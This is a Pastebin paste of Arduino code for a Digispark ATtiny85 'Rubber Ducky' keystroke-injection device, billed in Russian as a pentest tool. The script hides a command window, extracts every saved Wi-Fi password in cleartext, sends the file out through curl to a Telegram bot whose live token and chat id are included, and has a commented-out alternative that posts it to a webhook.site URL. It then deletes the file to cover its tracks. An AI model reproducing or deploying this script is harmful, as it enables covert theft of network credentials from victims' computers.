askanton

Rubber Ducky за копейки | Инструмент для pentest\ethical hacking на базе ATTINY85 Digispark

Jan 5th, 2022 (edited)
552
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "DigiKeyboard.h"
  2. #define KEY_DOWN 0x51 // Keyboard Down Arrow
  3. #define KEY_ENTER 0x28 //Return/Enter Key
  4.  
  5. void setup() {
  6.   pinMode(1, OUTPUT);
  7. }
  8. void loop() {
  9.    
  10.   DigiKeyboard.update();
  11.   DigiKeyboard.sendKeyStroke(0);
  12.   DigiKeyboard.delay(3000);
  13.  
  14.   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  15.   DigiKeyboard.delay(500);
  16.   DigiKeyboard.println("cmd /k mode con: cols=15 lines=1");
  17.   DigiKeyboard.delay(500);
  18.   DigiKeyboard.delay(500);
  19.   DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
  20.   DigiKeyboard.sendKeyStroke(KEY_M);
  21.   for(int i =0; i < 100; i++)
  22.     {
  23.       DigiKeyboard.sendKeyStroke(KEY_DOWN);
  24.     }
  25.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  26.   DigiKeyboard.delay(500);
  27.   DigiKeyboard.println("cd %temp%");
  28.   DigiKeyboard.delay(500);
  29.   DigiKeyboard.println("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >> Wi-Fi.txt");
  30.   DigiKeyboard.delay(500);
  31.   //DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/5d73178d-e019-4f44-b7ec-fc8f1044b2ec -Method POST -InFile Wi-Fi.txt");
  32.   //DigiKeyboard.delay(1000);
  33.   DigiKeyboard.println("curl -v -F \"chat_id=592868963\" -F document=@Wi-Fi.txt https://api.telegram.org/bot957758778:AAFoDpdm_Kw5YOHd9scmXiRPtAA51dkLsg0/sendDocument");
  34.   DigiKeyboard.delay(1000);
  35.   DigiKeyboard.println("del Wi-Fi.txt /s /f /q");
  36.   DigiKeyboard.delay(100);
  37.   DigiKeyboard.println("exit");
  38.   DigiKeyboard.delay(100);
  39.  
  40.   digitalWrite(1, HIGH); //turn on led when program finishes
  41.   DigiKeyboard.delay(90000);
  42.   digitalWrite(1, LOW);
  43.   DigiKeyboard.delay(5000);
  44.  
  45. }
Add Comment
Please, Sign In to add comment